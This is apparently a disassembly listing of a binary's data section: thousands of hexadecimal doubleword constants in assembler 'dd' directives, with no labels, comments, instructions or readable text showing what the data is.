		dd 0AC08C57h, 0EBEDECh,	3F46F63h, 372C4598h, 5DEE0C00h
		dd 92B62B36h, 188400DAh, 7828615Ah, 4207124Eh, 70E4D1F5h
		dd 1D83EC80h, 0C519022Bh, 60639B79h, 0AB2D8540h, 8B99FF00h
		dd 0C702FC26h, 0F6257988h, 0A1BC1201h, 81F0009Dh, 4735A32Bh
		dd 8D075E7Dh, 7CFCFA6Fh, 1924F6h, 7E87795Ch, 0EB82DE84h
		dd 7F17ED73h, 68400B17h, 47EEDDB5h, 757604D9h, 80DC2ECCh
		dd 83F552F0h, 3BB80503h, 0EFF6BDBCh, 1880EB80h,	9B380086h
		dd 0F4AD656Dh, 13F033A6h, 540A2E7Fh, 0C62D74Ah,	0AC11DA05h
		dd 5EA99AC0h, 0C7470037h, 0DBDECD4h, 9E007898h,	633342A8h
		dd 43DBD3h, 0A7DC69D1h,	6C4056CAh, 91C8C10Bh, 798F8136h
		dd 6F70CBBBh, 3B0C0953h, 0B480E81Dh, 707C04AEh,	2AC65B04h
		dd 8880A2DBh, 3040BA9Dh, 7504A7D8h, 3D7B1150h, 57290F00h
		dd 67898C46h, 7209386Bh, 43450075h, 58599187h, 1D00DF01h
		dd 0B37162B7h, 4EC281h,	0A74C4363h, 7476872Eh, 0A0938B26h
		dd 6809826h, 0A95FE7EDh, 20A60055h, 31AA1ACBh, 2E004461h
		dd 45BB8C3Dh, 4491FF2h,	63345DD5h, 0C4980F3h, 9D183B86h
		dd 6F21DE5Ch, 13C80046h, 7301143h, 0A309095Fh, 80952E4Fh
		dd 0C34B5140h, 0F41C7967h, 0BAC505AEh, 54DC4B3h, 0C730C00Ch
		dd 9FFAC131h, 0C5F4FC27h, 290015FCh, 53E15762h,	7F5F1B9Bh
		dd 49EC0EC9h, 30406B51h, 0E7399991h, 0B56125h, 78DEE840h
		dd 68974CBDh, 184E7D00h, 27ADF9FCh, 8D738601h, 65165DFAh
		dd 1BE434h, 0C9094024h,	0F44FAB52h, 4BE76300h, 56E3F5FAh
		dd 647B00D9h, 6649EDBFh, 0D600C952h, 0B194ECA7h, 8F63EAh
		dd 0DD775BCh, 4429D45Fh, 0E680AB05h, 0E490DC94h, 0E1B1AFh
		dd 8B90CCC9h, 0A0FF7EADh, 0A7105A00h, 0BCD9B5EBh, 0EA052612h
		dd 0E2D40E4Fh, 0DD259CB4h, 67781000h, 0CEB87370h, 6AF6C14h
		dd 162480Ch, 3C6ECB71h
		dd 8E88473h, 890C00A9h,	5B3D56Bh, 780D7E99h, 0A49BFDD0h
		dd 35549C10h, 38045C0Ch, 82498080h, 15008CBFh, 7AFB9FDh
		dd 0BAD5CEh, 1D7A597Ch,	0EBCDC221h, 0DB2E38F6h,	600BF704h
		dd 30E0E193h, 0BBAC70h,	0D323CD41h, 3ACE42ACh, 0A2F1DF0Eh
		dd 0F452601Bh, 3C151F2Bh, 3C807D51h, 3316F7B1h,	4D75A32Ah
		dd 0AEDB3200h, 99E3B05Eh, 0B7AD3E2Ch, 5317C38Fh, 1D70BE25h
		dd 218C80D3h, 0DDE2AE23h, 0DF741A02h, 89E614C1h, 3B78A2A8h
		dd 79BEC096h, 6C2859D0h, 0A9E10500h, 0F34E0B02h, 5D54Ch
		dd 23D85BD3h, 0FAA69ABh, 0CA0996C1h, 701F6807h,	43FD1425h
		dd 58F6EA00h, 78320ECh,	122F1FDBh, 8895072Dh, 48C0A9B8h
		dd 9112C951h, 3C40DE18h, 931AAF9Dh, 0B1920056h,	0A8F05873h
		dd 98A0D9E8h, 0B4174479h, 305DE0E9h, 0D8330F81h, 8030F043h
		dd 879300F9h, 769267E2h, 83505990h, 0D700C8F6h,	28E6ADFBh
		dd 0CDFDF1h, 0D6E84B70h, 0A51D61A6h, 9B008896h,	65C5B42Fh
		dd 111301C9h, 49600E71h, 0A442E4ACh, 0DA9BEE0Ah, 0C09098DEh
		dd 0BB320D0Ch, 0A100C991h, 7BC167Dh, 7AABB6E1h,	0A9892EAh
		dd 242C5D0Ch, 0EC6180ACh, 0C7BF4DD9h, 3C0A21C0h, 79B5B9h
		dd 28DF3685h, 0F94D671h, 0B6E24E1Fh, 27CE1040h,	4F54Ch
		dd 9EBD1482h, 0CD65B40h, 2222125h, 63C1EF88h, 1D81D0F2h
		dd 8E24178Fh, 0E1602673h, 21715F03h, 907BF3BAh,	0A8CF1F89h
		dd 0BCD6C0h, 0CA807C26h, 1A8B53AEh, 106036E6h, 96416C21h
		dd 0A7BB00DEh, 0E93FFD63h, 253A55C6h, 367509CCh, 0E74D807Dh
		dd 70204F21h, 0D09C1F86h, 0AD5A0068h, 3819AF0Dh, 7A212515h
		dd 51710BA4h, 0CD504085h, 726E026Fh, 293F0FC3h,	1177CC94h
		dd 0A0A07C4Bh, 505C1EAAh, 0B6C0872Bh, 13C400D0h, 6E30779Fh
		dd 3168387Dh, 899200B4h, 0EED2D4DCh, 8D05F0F9h,	77D120BDh
		dd 84100C89h, 0E3E98742h, 0A0A2D8h, 94B2BCECh, 230BA174h
		dd 5326430Dh, 0EFC95880h, 0C4004427h, 0FF9CD3F7h, 464CCB83h
		dd 0DE7403C8h, 0B6A95B79h, 0B0F10060h, 14EBCC0Ch, 800022DAh
		dd 4A951D75h, 3B9047DCh, 0A73AD66Ch, 0F63A8500h, 0EBFDA104h
		dd 0DAF95B00h, 4DF3ECBCh, 7C1900A0h, 93B6011Eh,	0EC9E8886h
		dd 0D080Bh, 0E7F2577Ch,	21C914B2h, 0EC2CA08Dh, 522F82B0h
		dd 38483613h, 6701A17Eh, 0CB345E32h, 198F0405h,	6A002498h
		dd 0C2FD2C29h, 8007B800h, 10A2F9EDh, 208E02F1h,	1D449E2h
		dd 9E369880h, 26F01F7Bh, 9A0E3700h, 0F6250F61h,	0AE43079Ch
		dd 207D84C2h, 888D6EC3h, 2D00DA98h, 0CAE40D5Ah,	0F681FCh
		dd 46A147A2h, 843CF95Fh, 9B00E290h, 238556B8h, 0CA5768Bh
		dd 4B10710Ah, 4931F70Ah, 0C814F887h, 0C288C0EAh, 24750A55h
		dd 84E85CDCh, 0C02AC5ECh, 0C17491FCh, 5A5DD41Fh, 0B3F108C2h
		dd 0DE7CC8ABh, 0C6732268h, 0FFA07A00h, 3E5A29E0h, 83F600CBh
		dd 1323A7E7h, 0B430267Bh, 59193E32h, 701B01BEh,	4BA9D8DBh
		dd 0CA7D4D4h, 3864FC00h, 3140C2BAh, 0EEA5E5Bh, 0FB41AA18h
		dd 0DC78D96Fh, 4C043A74h, 0B5518115h, 7C0DA4E0h, 1A9778Ah
		dd 0AB185642h, 38573AD6h, 39A100ACh, 0D49E1F83h, 724124Dh
		dd 7FA04AB8h, 8A2E0394h, 69A05CAFh, 0DF07FA5Fh,	93D63AEDh
		dd 0F83DDB30h, 47E03CF3h, 1FC019ACh, 0FFF587C1h, 914090B2h
		dd 711C88D8h, 0BB0073D1h, 0A56EB7F8h, 6DEF1254h, 0F6E900CBh
		dd 0A0D5ABF5h, 9E6FBB09h, 7999005Bh, 6099970h, 0A85DB4E7h
		dd 0CC0338C8h, 0B5D73246h, 0FE1000C9h, 0C147DAD5h, 36094C80h
		dd 8353C582h, 0E71B320Eh, 4586C30h, 431503DFh, 3BB8B1E7h
		dd 0CE8E02A0h, 0EA214807h, 771C274h, 77C1013Fh,	2F4329E4h
		dd 5403E7A9h, 0D8A983D9h, 77B04049h, 0A014320Ch, 30CB2A3h
		dd 0D7057665h, 8040E702h, 1BDDC28h, 0D90FAD08h,	743D19DFh
		dd 9F01B108h, 6A0B81D3h, 70FCA851h, 0F8E50004h,	52B08986h
		dd 9D02F480h, 3AEF2EC8h, 0B0204BE2h, 9489F68Fh,	0B1C101A8h
		dd 60853DBAh, 0FB5D6486h, 8AA050C8h, 54F149h, 0B01307C2h
		dd 0EEC9C067h, 1D18B6B4h, 371F00A2h, 6E8B919Fh,	9A185117h
		dd 880A4C02h, 2495E06Ch, 547369h, 0C40B5938h, 8517DDBh
		dd 1BF9D205h, 0B0C0D607h, 484746C2h, 0F273248Eh, 0D9ED00DDh
		dd 80EB40A9h, 720FA584h, 2C0C1709h, 9E5EC23h, 4590EF1Fh
		dd 0E760D00Fh, 7649B980h, 91016EF8h, 98F2F7Fh, 3C64C48Ah
		dd 0F5D70142h, 0BFDBA948h, 71CC201Ah, 5E24C102h, 6834353Bh
		dd 3DEE2330h, 7A93128Fh, 0A6049015h, 0DD4D1B49h, 0C02830A8h
		dd 1711CDBh, 0E317C1D8h, 80154B43h, 0CA684808h,	441FBBh
		dd 81D99510h, 9CE44C64h, 6C5050BAh, 0CD0B4A8Fh,	2759D97h
		dd 40611650h, 0F912994h, 963C67A8h, 1319D481h, 99B0E430h
		dd 0EF972B0Ch, 92A80Ah,	3DD5ADB5h, 0AF6ECE78h, 30014076h
		dd 23A4F6C7h, 28870374h, 302A582Eh, 27CD129Bh, 0E946400Eh
		dd 9E4DA019h, 0E32DE1h,	7267DA4Bh, 9240A44Eh, 0F3808F07h
		dd 44102E1Bh, 981F6A28h, 0FFD70F88h, 0B2223EABh, 84607138h
		dd 0E60004FBh, 2C2AA6A4h, 74376Eh, 7030BAACh, 3EB9D963h
		dd 0EDFBC97Fh, 7750F884h, 0B1A0DC01h, 5EF585E5h, 90082430h
		dd 919F5C74h, 28982500h, 477251CCh, 40E0E500h, 0D02E261Ch
		dd 0D6B8245Bh, 9BE3F74h, 0D82C4B80h, 6E2A52A7h,	136D3B13h
		dd 7AF37400h, 4864227Fh, 0D2003059h, 0C67BCB57h, 0DC0053D8h
		dd 3016B3FEh, 98EC1DA1h, 33802258h, 0C696D400h,	0F0D2AF48h
		dd 0A67605DCh, 7077A0Ah, 7E5B3DA8h, 0B9D800DFh,	8525EABh
		dd 0E000EC9Eh, 83D5C73Ch, 799D075Dh, 30F458FBh,	0DD3A60F6h
		dd 6A166090h, 0D442B762h, 60B95ADEh, 3944F24h, 26DC8320h
		dd 1290A3B5h, 0BA001963h, 0EB23362Ch, 0D53443h,	0D10BA815h
		dd 0BDF1395Dh, 7A05D974h, 679E5E1Fh, 88F38CC3h,	5C879FD6h
		dd 0FC052CC0h, 40662Ah,	0AFF89AD9h, 0A2590A14h,	29D70C5Ch
		dd 6DD837h, 0B8F3FA04h,	0ECF745CAh, 2EC69500h, 0F66B517Ch
		dd 283F7D5Fh, 0DB8DFF2h, 5B229F42h, 869100E0h, 0C10066B2h
		dd 1740753Ch, 0E36CF1h,	6556BCF0h, 871281C4h, 55C7A50Eh
		dd 0B16A0050h, 0E840DDEEh, 372FAD2h, 6C629E7Eh,	0F1C82170h
		dd 0FB00EFBEh, 0BB05F368h, 0DDDE13h, 373CF441h,	343DE56Ah
		dd 35776C1Dh, 9958E640h, 228219h, 0B1A8C6EFh, 1C846EFCh
		dd 808AF13Bh, 2473E414h, 7AC19F3Fh, 54BD484Ah, 9629C50Bh
		dd 0FE6944A0h, 9300883Eh, 5C27068Bh, 306C6D02h,	0B519D305h
		dd 3DFA3508h, 90242F74h, 5B027938h, 438A1FFDh, 9422D071h
		dd 48413924h, 115D493h,	219CB8D0h, 0C268383Ah, 68F3FBABh
		dd 4E6D4228h, 0C0681768h, 9AC5AD14h, 0E803535Fh, 0B8276E21h
		dd 582A1D7h, 78A4F80Eh,	35FE80ADh, 0E9779FB2h, 61C059CEh
		dd 7A5F8420h, 6700E862h, 0B0FEEBC1h, 0ED1604C9h, 3814D614h
		dd 0C59C015Ch, 69F5777Bh, 2C10C030h, 0CF71E8Bh,	0F18C4DD0h
		dd 1C1BEC0Ch, 38362095h, 0B7A46B50h, 98A201B4h,	7C0AB425h
		dd 342098h, 0DCF85465h,	1A798474h, 550DC090h, 0D0E5170Fh
		dd 0E97AC0CFh, 904DE2B3h, 0BE080362h, 0DA55C626h, 98C4C6E5h
		dd 20004C75h, 40774F92h, 3CEDCB16h, 74486D8Eh, 0B6BBE1Fh
		dd 70C0CCDDh, 4A2C96CAh, 1F05C88Fh, 0FC0E8DE4h,	5E17A59Ch
		dd 83663C81h, 0DE9170h,	6C71206Bh, 934A802Bh, 7AB1D05Ch
		dd 0C425C70Bh, 29A9805Ch
		dd 4574010h, 9CFCC860h,	0A3908006h, 74396CDFh, 724604AEh
		dd 1CD3B627h, 0EF5EF8C9h, 8278BEB9h, 0E24C8B22h, 0F4200C89h
		dd 15D01207h, 0DED8703Fh, 0CCE98840h, 1013049h,	0AF61C474h
		dd 20E7F105h, 0BC7C5820h, 0F900F0B3h, 0C16C562Fh, 0A1DF00CDh
		dd 5168E926h, 8C00FD21h, 362A7B08h, 7CDE4F15h, 1FE016A8h
		dd 60E84BA0h, 78A2B829h, 0C1BE89h, 9478EE25h, 0E9874307h
		dd 0E4E0B73Bh, 76B7C6Ch, 2DA8FBC1h, 74516056h, 0F605DA4h
		dd 0DF9BCB78h, 0F2E37CD6h, 8EF400CFh, 0AB2B255Ch, 7602E017h
		dd 647F3711h, 8B1DC061h, 9E4603E2h, 6BA432EEh, 20D8E00Ch
		dd 0E85D10E8h, 0E497226h, 186FFECh, 6C035FE0h, 834B4802h
		dd 0A82AB800h, 17E10442h, 1FDCB544h, 8E9480A0h,	0AA72E3E7h
		dd 56C82800h, 0AD2AC34Bh, 56F0014h, 6B82340Ch, 3B13DD6Ch
		dd 48C0CEB0h, 70B67A1Eh, 0D72F25A3h, 0ABFEF480h, 0A1006F83h
		dd 778EFDE7h, 0E0CFFB32h, 0F851FF43h, 0D670F704h, 888797AAh
		dd 65934152h, 3208F78h,	8521805Ah, 99B25Fh, 48E8A015h
		dd 0A99F0B4Bh, 0C513CE06h, 3E0872E5h, 0D125DD8h, 3B4F411h
		dd 4B8E6238h, 0EAF998C6h, 0C186FE4Dh, 0A5775E81h, 13932097h
		dd 58208100h, 92FBF9C7h, 0A0969743h, 0E60A8771h, 34190D08h
		dd 0EDE0A307h, 38B9BB0h, 9D943E8Fh, 918AF880h, 0AEEC3D63h
		dd 90234300h, 86DA37F6h, 0DB871DC6h, 61B839ACh,	0ED94E700h
		dd 2DBD1DE4h, 71D19703h, 0D30A5E54h, 0C541A0B4h, 117B68h
		dd 0CFB39D3Ch, 3297F2DAh, 0A291A00h, 6A961FFFh,	0CD0D0184h
		dd 4402A5F5h, 95D1F01Eh, 97007D7Ch, 6989430Ah, 17DA88BAh
		dd 13F0BECh, 589491ECh,	0A8403ACAh, 67C53A9Bh, 62181CB6h
		dd 8C01AEEh, 33E6E872h,	80B1C53Dh, 0D82DCFF3h, 0E6801B58h
		dd 69880483h, 0BCDA8572h, 93282D8h, 21FA2384h, 0ECD8E580h
		dd 0EB51E20Ch, 1227388Fh, 20BD1C8Dh, 0BC614D0Ch, 76FB3900h
		dd 0AE02876Ch, 0C055E877h, 0BB794621h, 0FC0021D8h, 39FB11E8h
		dd 15DBF8D0h, 0CC8B18ECh, 74D7B300h, 0AA191038h, 4587FA0Fh
		dd 841CE192h, 99D13222h, 90B151B8h, 0F0707DB1h,	7F0E2624h
		dd 8B5B4362h, 7A2D00C2h, 77E515h, 0DD69BAEh, 85847C2Bh
		dd 3970A0A0h, 0D8E9DC30h, 9D54B6h, 58AF909Eh, 0BAD6B2AEh
		dd 5BC33326h, 0E770C700h, 0C040B7h, 0AF01E1C8h,	0F956C48Eh
		dd 54601800h, 62AEEF89h, 38350009h, 0B90149B1h,	0F30041A0h
		dd 4CF0E6C2h, 304617AFh, 7A10AE5Bh, 6F02A74Dh, 3C9A4FD0h
		dd 8CD38ED9h, 19B217Ch,	636CA754h, 20012944h, 0C731D325h
		dd 89312165h, 9B5A0880h, 7FFD69BAh, 0E529CD00h,	0F7C353F4h
		dd 0F0DC0EC4h, 2838E7BDh, 1AEE86AEh, 0C1794F01h, 0A61C20Dh
		dd 21E108BAh, 0F41AC525h, 94004BB8h, 31F9E2EBh,	0E56259E5h
		dd 371E78BEh, 6AC900A1h, 572DBE4Ah, 3D9B5607h, 18CE4E6Eh
		dd 385C529h, 7A7B26FCh,	84885130h, 0EA0187E2h, 18162E7Ch
		dd 0C181BB31h, 0D88840AFh, 97420EEh, 716CB600h,	74653CB8h
		dd 0FB1B0CA5h, 59F96641h, 0C868B901h, 0F3EB56Dh, 1EBCB660h
		dd 4CFED5D6h, 8C295741h, 0F732E400h, 5A738279h,	0FAE80087h
		dd 66D860A3h, 0AF2BB189h, 4801C814h, 57D076A7h,	94887E18h
		dd 17A7027Fh, 0F4D82AD5h, 19E03B63h, 0C9C0C531h, 0A689698Eh
		dd 0EA120338h, 0DC3A436Dh, 210088A3h, 5891183h,	108954Ah
		dd 96504517h, 0FB4256h,	60E8D3AEh, 0B4C17158h, 571A3CA1h
		dd 4210B42h, 6F60ABE8h,	79234D1Ah, 281171h, 0DC1A1727h
		dd 2A571B14h, 44342F46h, 0BE61317Ch, 1AEE3BA1h,	434BF4h
		dd 0ED87BCFBh, 86A262F9h, 3C8FDE1Ch, 7012DF80h,	74282A6h
		dd 0CF3B9F2Fh, 0D29140CBh, 0DF033C26h, 2DE6DD20h, 5A610078h
		dd 61ACA6BDh, 743F363Fh, 0B47F00D2h, 21FC37FEh,	4EA8185Dh
		dd 3FE698EEh, 83D5130h,	0C2E1F6CEh, 584193B1h, 8467EC20h
		dd 7C7B99h, 0A5D3A3A2h,	716D82DFh, 5A49E106h, 5339C6DDh
		dd 0AEE04E6h, 0D0BD2741h, 4FFD588h, 80ACF866h, 7D6859ECh
		dd 0C8A32D00h, 477037FAh, 0D72C0731h, 3666C68Fh, 6BF429E5h
		dd 4DAAF80h, 6E806A53h,	0E7FCC0CDh, 2B39DE67h, 0ADB7810Ch
		dd 237A428Ah, 0E511C4h,	52A6169Fh, 2CF4A275h, 87334800h
		dd 0A34EBA18h, 0CFF03B5Dh, 0F8658881h, 2003D69Ch, 0DB0191FAh
		dd 0CA849D1Eh, 0F6413E97h, 30603D0Dh, 45D8008Fh, 0A37325BEh
		dd 78733FD4h, 51C06B00h, 365F7E85h, 957983h, 8671E165h
		dd 21D0B446h, 8030EA3Dh, 0EC1B0116h, 31D5D4h, 0D82B71A1h
		dd 0CBE9F50h, 5BA4800h,	75345977h, 0D65B0006h, 13123CB6h
		dd 52002B4Fh, 7FE0DFE3h, 4E0CFC66h, 594FA0EDh, 6200D373h
		dd 0E6DE2B74h, 0FC3439C2h, 20CB1CB9h, 2E12C0B4h, 89B2C198h
		dd 43494D00h, 44B173E3h, 8AC73BBDh, 9BD16680h, 3DC01D1Bh
		dd 0B5B70B0Bh, 0E106039Fh, 0C0759BCEh, 3A65FEF7h, 379E2896h
		dd 13290744h, 0AE53579Bh, 2AAD12C0h, 1F00A3ECh,	0AAE21C51h
		dd 2ECC665Dh, 52AB95h, 2630FE5Bh, 49098C81h, 2085DB84h
		dd 0C0126A18h, 0D8DC00D9h, 0EA8F88A1h, 29018D05h, 0D04E57BAh
		dd 69F83084h, 7CBD00A9h, 0EC4FAD22h, 0D70C9B5Fh, 0C8C55C51h
		dd 691400E4h, 0DAF7C298h, 3900B212h, 0CCB304C9h, 7D42BF9h
		dd 7D0BA15Dh, 0D851F142h, 5849CEAEh, 40B18076h,	104FF9B8h
		dd 82EC04C4h, 80110C84h, 0AA2BD52h, 8AA94200h, 54FF67Eh
		dd 658300F3h, 98934D2h,	92001A94h, 3BFDBE3h, 3EA8755Eh
		dd 5C802BA9h, 0C8397EADh, 5D7389FEh, 4EAB460Eh,	0DFB8C061h
		dd 0CB6BCEh, 0B43A7B76h, 4A4721C9h, 9B000371h, 658CA96Fh
		dd 6E3870h, 3D241537h, 0FA220CF6h, 0F298F100h, 0ABE24733h
		dd 0CB820028h, 0F9FB94C4h, 4960EE41h, 441913E0h, 0F8D09F31h
		dd 5C289D00h, 4E9C37D5h, 0B8210F64h, 0D7070E4Ah, 78FE0CBh
		dd 0AD02D569h, 0BF8953BCh, 7496E046h, 1CB7BAAh,	0EA03FEA5h
		dd 507531DEh, 0D5B457C8h, 238658h, 453D6629h, 0FE82E7h
		dd 494369DDh, 145DEA17h, 0DCFC6528h, 0D5B35318h, 17A32188h
		dd 4E92018h, 828D3B9Bh,	15112810h, 9A3420h, 1FF479FFh
		dd 0BBC701A1h, 778CBh, 119361F3h, 0E098C6A4h, 0ED00594Fh
		dd 157EC17Ch, 14DBFFh, 3508AFCDh, 2EB70EA4h, 0B31B8300h
		dd 9207E434h, 6FC70182h, 20F3A893h, 1A1024D0h, 0CC135946h
		dd 0B730407Eh, 7D3B9BF7h, 937B88C1h, 37C8E69Ch,	9E87F27h
		dd 568320Ch, 728C2C80h,	5A00157Fh, 0EB4BF425h, 580C30h
		dd 1E6A2E71h, 843DC8ADh, 0FB02767Ah, 34ABB62Ah,	4C64400Fh
		dd 0BAFE0085h, 7763483Bh, 0E1DD2FC0h, 6FE797C6h, 25DD0080h
		dd 78A9A732h, 70043D55h, 0A5751C4h, 9CD5A480h, 8A710528h
		dd 804E2D01h, 0D99349A1h, 0DE0A600h, 0A11EC559h, 0EDFCA06Ah
		dd 6FC00006h, 887E767h,	0FC0FC412h, 9717C67Fh, 0A4CEC900h
		dd 1E8ED76Eh, 402E0532h, 58978252h, 0B6008D17h,	0F446A4EBh
		dd 1580B112h, 0A46FD90Ch, 4884A528h, 2A00F0C7h,	24DB5EEDh
		dd 3E0E7BBEh, 11EF38h, 0BB6D3055h, 80F89176h, 19CD4149h
		dd 0B400EA58h, 9DF3614Fh, 407EA923h, 0D1004C89h, 48FB747Bh
		dd 0DCE662h, 0B1C5AD84h, 9673E408h, 0BCB92402h,	41F7353Ch
		dd 6BFAC460h, 418FF834h, 0FE0700CFh, 62F2DEB8h,	409269E1h
		dd 0D9F84862h, 0C3444060h, 0CD3800BFh, 6A69E9A2h, 8301CE6Fh
		dd 6EDAD567h, 40E204A4h
		dd 0A6D4528h, 897F42DDh, 804667E4h, 7B4F811h, 559E3806h
		dd 68C37Eh, 44D31D0Bh, 0CF17685Ch, 0E9BCF101h, 96A39D0Ah
		dd 0B00A9BAh, 2FF30349h, 492DB6Bh, 0AF8393Ah, 0F85260C9h
		dd 116FD280h, 0DB0780h,	0CCF7745Dh, 689883BAh, 19006490h
		dd 56712BFEh, 24C06028h, 7B1217h, 863FC2E1h, 9A3B7D0Ch
		dd 0C48480E5h, 9432806Eh, 214800ABh, 0C6AA6B63h, 0B8CAAFA1h
		dd 861ED871h, 619BD4C0h, 600D0B7Eh, 60CF8807h, 0FF0ECA1Fh
		dd 0E95F356Ah, 0E6A0018Eh, 0AA20A093h, 25081E5Ah, 7835C0B5h
		dd 3A37EAA4h, 9C1248h, 4388F4C4h, 74EC8E7h, 0DC97647Dh
		dd 232DA01Bh, 5C39C671h, 753C5D38h, 65A54C00h, 909B6133h
		dd 625D005Ah, 69B24303h, 0E413FD05h, 0F4300967h, 13F5AEFBh
		dd 40D1E74Bh, 77EF535Ch, 84C5DFFh, 9C3C324h, 0C592D83Dh
		dd 9E9D0047h, 8AF27356h, 0C6269565h, 0E002FC97h, 6C0778E6h
		dd 8553D10h, 1D96C087h,	457AA0D0h, 8099589Dh, 0B06D2A41h
		dd 440E4980h, 0BEFBE5EBh, 52422216h, 0A9E12C40h, 900AB765h
		dd 913B00C8h, 2813351Dh, 7B30CD70h, 1B08294Ch, 988C00D3h
		dd 0F9EC473Fh, 20928397h, 0BA0FFC75h, 20036FA9h, 79A55B44h
		dd 0A6A2010Dh, 3181F5B0h, 0E815D5C1h, 0E21FBC49h, 390061BEh
		dd 0CE74BF4Ah, 1D68739Eh, 41EF2E10h, 7F3C5E23h,	4A4D6077h
		dd 31089000h, 1E18B5A8h, 9AD91F96h, 9C5B5D93h, 3F9900DCh
		dd 0F0CAD1A2h, 1DA94500h, 2A4D8D59h, 7C4B0060h,	0CEBC7443h
		dd 0B602E926h, 0F8DC57A2h, 0D244C0C6h, 6282009Eh, 4AA9FDB1h
		dd 3B0427AFh, 0CF39E329h, 6F0E0F80h, 50349AACh,	0FC2394B6h
		dd 0FB8CA86Dh, 28D9052Fh, 0C0878552h, 0E2E95D70h, 7FECDF00h
		dd 5A84F69Ch, 55FB121Bh, 0CE801ADh, 70D439CFh, 0E300A34Ch
		dd 0FA5DBDBBh, 7E91F2Ah, 90557DFh, 715B80E2h, 0FC902FF4h
		dd 0AF78C21Dh, 772B88Bh, 69F11698h, 41EC5335h, 1496067Fh
		dd 8E26CDE1h, 894300A0h, 0AB717602h, 60F8C12Bh,	4E5BFEh
		dd 4607B904h, 59198333h, 3F96FC00h, 0DEFA6692h,	187E0027h
		dd 0B42AF63Eh, 73182609h, 19103D51h, 822F00EFh,	64C50E60h
		dd 5800D7B9h, 0A4449E5Dh, 1E9C9672h, 444C7AFFh,	0A0C87BFEh
		dd 0F24855DCh, 339D000Bh, 5918576Ch, 0A4C1054Eh, 20C2E603h
		dd 7FDB69C4h, 0AA7D5400h, 93B5FAA9h, 39D0004Ch,	0C4BE4AA0h
		dd 253D0ABCh, 0CBBA8ADh, 0FECA3715h, 0AB3A00D0h, 0A74D235Ch
		dd 849212h, 0AC3EDA97h,	1B732F0h, 47041CB8h, 0E0F26129h
		dd 1642A0B0h, 2259ABh, 8B9BC6A8h, 7BFED35Ah, 58470A00h
		dd 99197A6Ch, 0CFB00018h, 0A1B97CFAh, 8F011062h, 0E1D12F79h
		dd 0D82C6C5Bh, 0B3179907h, 388009ABh, 0D158BFC7h, 2A377609h
		dd 0D61C2069h, 0E2F93096h, 6D190FB0h, 1801FFECh, 745EC39Ch
		dd 9F00ACF4h, 88E20DAFh, 17427D48h, 13E64F66h, 16E80123h
		dd 20EB1C2Ch, 0F2054D10h, 0C797846Fh, 15FA0888h, 840CA143h
		dd 2F3C2D01h, 0FC594050h, 6B3008DBh, 0B1E6B021h, 0C080AAAAh
		dd 0BA39E56Ch, 0C69B0240h, 0F5765E0Ah, 9C1B2468h, 0A018062Ch
		dd 8EE8AE80h, 947141h, 3CC28A08h, 24C6B611h, 1A5E5900h
		dd 0D543681Bh, 0ABA5182Bh, 0D25139D0h, 0E8586934h, 2C3CC800h
		dd 72E77EB9h, 2C737547h, 0CF30D857h, 7879CAC0h,	9E1FAA29h
		dd 0D2C0148Bh, 516E4B5Fh, 249559ACh, 70AE1CC4h,	281BC1B1h
		dd 4AECDFF6h, 44FC2C4Eh, 0D7B61807h, 6941A573h,	38203F7Fh
		dd 0A93008Fh, 724C75C9h, 9F2CA9A8h, 81114C5h, 52BC17h
		dd 9D643730h, 1E0B55Dh,	0CA61F702h, 0ECD19FFDh,	8FC3003Ch
		dd 1726E9A1h, 46009559h, 470E255h, 2C6A6F45h, 0E0F07EB1h
		dd 97D8160Bh, 0E8379E2Ah, 0DFB1740Eh, 78E44001h, 7CB596h
		dd 0AD3E2D6Fh, 55EFE722h, 0FD119300h, 41E2EC5Dh, 6BA40088h
		dd 7E718A28h, 48F0A312h, 0BF4EC500h, 0CD6A5C0h,	51348CAh
		dd 0DFD97E02h, 80A03A5Ah, 0D8922BC1h, 0F50AFE39h, 5EB1C601h
		dd 0EB9E1F0Ch, 63DD6C31h, 5D9FE730h, 433E1855h,	0D924044Ah
		dd 5B7C91BAh, 32C18BEEh, 58E82210h, 0ED384044h,	9F130EBEh
		dd 54209C8Bh, 29C093BFh, 650A8300h, 0F1FCBCABh,	72D43D31h
		dd 0E0E11080h, 5E50940Bh, 0B05F8207h, 0F9126340h, 0A3CAC0A8h
		dd 1B7607A9h, 74FF1FAh,	2BD3C002h, 0FD07527Dh, 6A21B515h
		dd 68A711F0h, 8EB00C2h,	2B7A901Fh, 9F00D267h, 8EB745FDh
		dd 47B523Fh, 0DE500463h, 0EB6CC0E4h, 0BF0FA901h, 603987EFh
		dd 0DB70757Ch, 66E000CAh, 0D79D2964h, 0B9034AEEh, 46CF7D79h
		dd 0D9D0F756h, 0B47787h, 2F9D1789h, 0BFE31D65h,	0DC695901h
		dd 7F094BB7h, 49FA57D8h, 0D800BCC9h, 0F8BC1CE6h, 3400208Dh
		dd 0EE1EC781h, 28607BB9h, 0B46856h, 35C58EC8h, 92578AFBh
		dd 0BAC00654h, 4712C00h, 1A118DEh, 304000D7h, 0C75A77B4h
		dd 0F300C369h, 2939B5B6h, 0AB5D91h, 793CE506h, 9D33CA57h
		dd 0B00F8270h, 0A2EDECh, 0BA91194Eh, 0CB45393Fh, 0E327F92h
		dd 0E1406514h, 0EEFAB2DEh, 7D000098h, 46397877h, 3D66AFFFh
		dd 3400A9D8h, 1AB42806h, 82003D67h, 9C752B16h, 3D03AE6Dh
		dd 6E96AAD5h, 58841874h, 8304FA0Ch, 0DDCED52h, 0A0F978C0h
		dd 8A1607CAh, 701409D8h, 72F57B6Bh, 0DE00D0ECh,	0C784E903h
		dd 0F3FE6DA8h, 306278D4h, 0B2F861ACh, 0BB002CEFh, 3B1DFB8h
		dd 1E38090Fh, 0FB924E5Fh, 3B61A600h, 0A76D5E1h,	2FDFBD00h
		dd 72A5145Eh, 7AC51DB6h, 74C6C00Ch, 7B26B7CFh, 0A67C3F1Dh
		dd 5F024940h, 281EB61Ch, 0DD9350h, 771CF33h, 0FCB937ADh
		dd 42832500h, 7A99F7E0h, 0DE2E0175h, 4625FCBh, 1DEC2DFBh
		dd 78670C79h, 920E67Bh,	556588A0h, 5F51F282h, 5AFB80E0h
		dd 0E1B5B403h, 98AB9B21h, 0F19733Ah, 3BD4A8DBh,	0B5B7E340h
		dd 26EE0241h, 5CD6DC1Eh, 3A3770C3h, 5996C9EEh, 0DDF6E440h
		dd 0B3B0E69h, 0BB2730C3h, 2F701027h, 0E3003789h, 0DBC05440h
		dd 16CA1034h, 0A2A9ECh,	18195D66h, 1DFEBAFCh, 0E26E2D03h
		dd 98AB5E20h, 0E225CF9Fh, 0BD43057Eh, 80EB1773h, 5852E838h
